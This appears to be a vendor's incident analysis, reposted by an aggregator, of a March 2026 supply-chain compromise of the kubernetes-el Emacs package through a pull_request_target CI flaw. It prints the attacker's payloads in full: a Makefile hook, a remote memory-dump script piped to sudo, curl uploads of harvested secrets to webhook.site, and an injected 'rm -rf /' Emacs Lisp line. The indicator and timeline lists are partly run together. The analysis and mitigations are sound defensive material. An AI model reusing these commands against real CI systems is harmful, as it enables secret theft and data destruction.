




























On March 5, 2026, a threat actor exploited a classic "Pwn Request" vulnerability in the CI workflow of kubernetes-el/kubernetes-el, a popular Emacs package for managing Kubernetes clusters. The attacker stole the repository's GITHUB_TOKEN (with full write permissions), exfiltrated CI/CD secrets, defaced the repository, and injected destructive code.
The package has since been removed from MELPA (a popular third-party Emacs package repository) and blocked from updating on the Emacsmirror, affecting users who depend on it for Kubernetes management within Emacs.
A GitHub account named quicktrinny, created just one day before the attack on March 4, 2026, with no followers, no bio, and no prior activity forked the kubernetes-el repository and opened PR #382 titled "ci: add test" with the description "important test :)".
The PR triggered the repository's CI workflow, which used the dangerous pull_request_target trigger combined with an explicit checkout of the attacker's fork code. This gave the attacker arbitrary code execution inside a GitHub Actions runner with full write permissions to the target repository.

The repository's CI workflow (.github/workflows/ci.yaml) contained two critical misconfigurations that together formed the Pwn Request vulnerability:

The pull_request_target trigger grants the workflow the target repository's GITHUB_TOKEN and secrets. Normally this is safe because the workflow code comes from the target repo's default branch. But the explicit ref: ${{ github.event.pull_request.head.sha }} in the checkout step overrides this, it fetches code from the attacker's fork instead. The make build step then executes whatever the attacker placed in the Makefile.
The attacker iterated through 6 commits in their fork, refining the exploit across 3 workflow runs. The payload evolution shows a real-time learning process:
The attacker modified the build target in the Makefile to execute a shell script instead of the normal build:
# Original:
build : compile $(DEPS_PNG)
# Attacker's version:
build:
@bash -c "chmod +x ./funny.sh && \
./funny.sh"
funny.sh)The initial payload attempted to dump the runner's memory to extract the GITHUB_TOKEN, then exfiltrate it to a webhook.site endpoint:
# funny.sh (initial version)
TOKEN_VAL=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py \
| sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64`
curl -d "${TOKEN_VAL}" https://webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65
sleep 60m
The attacker switched from a GitHub Gist-hosted script to the Cacheract memory dump tool (a known CI/CD security research tool):
# Updated source URL
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/refs/heads/main/assets/memdump.py \
| sudo python3 | ...
The first workflow run (run #22702057033) failed because the Makefile used spaces instead of tabs. The attacker fixed the indentation:
# Spaces (broken):
@bash -c "chmod +x ./funny.sh && \
./funny.sh"
# Tabs (fixed):
@bash -c "chmod +x ./funny.sh && \
./funny.sh"
After the tab fix, the attacker escalated their approach. Instead of just extracting the GITHUB_TOKEN, they targeted all secrets stored in the runner's memory using a JSON pattern match:
# Final payload (funny.sh)
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py \
| sudo python3 | tr -d '\0' \
| grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT --upload-file /tmp/secrets https://webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d
sleep 9999
This extracted any secret matching the {"value":"...","isSecret":true} pattern from the runner's process memory including the GITHUB_TOKEN.

The workflow logs from the successful runs confirm the exfiltration. At 04:29 UTC, the make build step triggered the payload. A curl transfer of 350 bytes uploaded / 156 bytes response is visible in the logs, followed by the webhook.site response confirming the upload succeeded.
⛔ curl https://webhook.site/2a7334c9-... → BLOCKED
This is what StepSecurity Harden-Runner prevents
Real-time network egress monitoring for GitHub Actions. The call to webhook.site that exfiltrated secrets from this repo would have been detected and blocked before any data left the runner.
With the stolen GITHUB_TOKEN, the attacker pushed 4 malicious commits directly to the master branch -no pull request or review needed:
929c639 (04:30 UTC) — Defaced Readme.md — replaced all content with "HACKED BY DICK LONG" and an image09e06af (04:32 UTC) — Replaced kubernetes.el (the main package file) with rm -rf / — would destroy user systems if loadedb27498c (04:33 UTC) — Repeated destructive commitc084b10 (04:47 UTC) — Deleted nearly all repository filesCritical: The second commit replaced kubernetes.el — the package's main entry point — with a single line: (shell-command-to-string "sudo rm -rf / || rm -rf / || sudo rm -rf / --no-preserve-root"). Any Emacs user who updated or installed the package after this commit would have had this destructive command executed on their system.
The commits were authored as github-actions[bot] because the stolen GITHUB_TOKEN is associated with that identity, making the attack appear as if it came from an automated process.

quicktrinny createdfunny.shfunny.sh with memory dump and token exfiltration payloadkubernetes.el replaced with rm -rf /pull_request_target workflowsIf your workflow uses pull_request_target, do not check out the PR head. If you must process PR code, use a two-workflow pattern: a pull_request workflow (with read-only permissions) to build and test, and a separate workflow_run workflow for privileged operations.
# DANGEROUS - don't do this:
on: pull_request_target
steps:
- uses: actions/checkout@v6
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make build # Runs attacker's code with write permissions
# SAFE - use pull_request instead:
on: pull_request # Read-only token, can't push to target repo
steps:
- uses: actions/checkout@v6 # Checks out PR code (safe, limited permissions)
- run: make build
GITHUB_TOKEN permissionsSet minimum permissions at the workflow level. For CI/test workflows, you almost never need write access:
permissions:
contents: read # Read-only access to repo contents
# Don't grant write to anything unless absolutely necessary
The attack exfiltrated data to webhook.site - a domain that should never be contacted from a CI build. Network monitoring tools like StepSecurity Harden-Runner can detect and block unexpected outbound connections from GitHub Actions runners.
jump-kept-freckles@duck.com (DuckDuckGo relay)webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9dAdnaneKhan/Cacheract memdump.py929c63909e06afThis compromise was discovered and reported by Jonas Bernoulli (tarsius), maintainer of the Emacsmirror. He promptly removed the package from MELPA and blocked updates on the Emacsmirror, preventing further distribution of the compromised code to Emacs users. His swift action significantly limited the blast radius of this attack.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。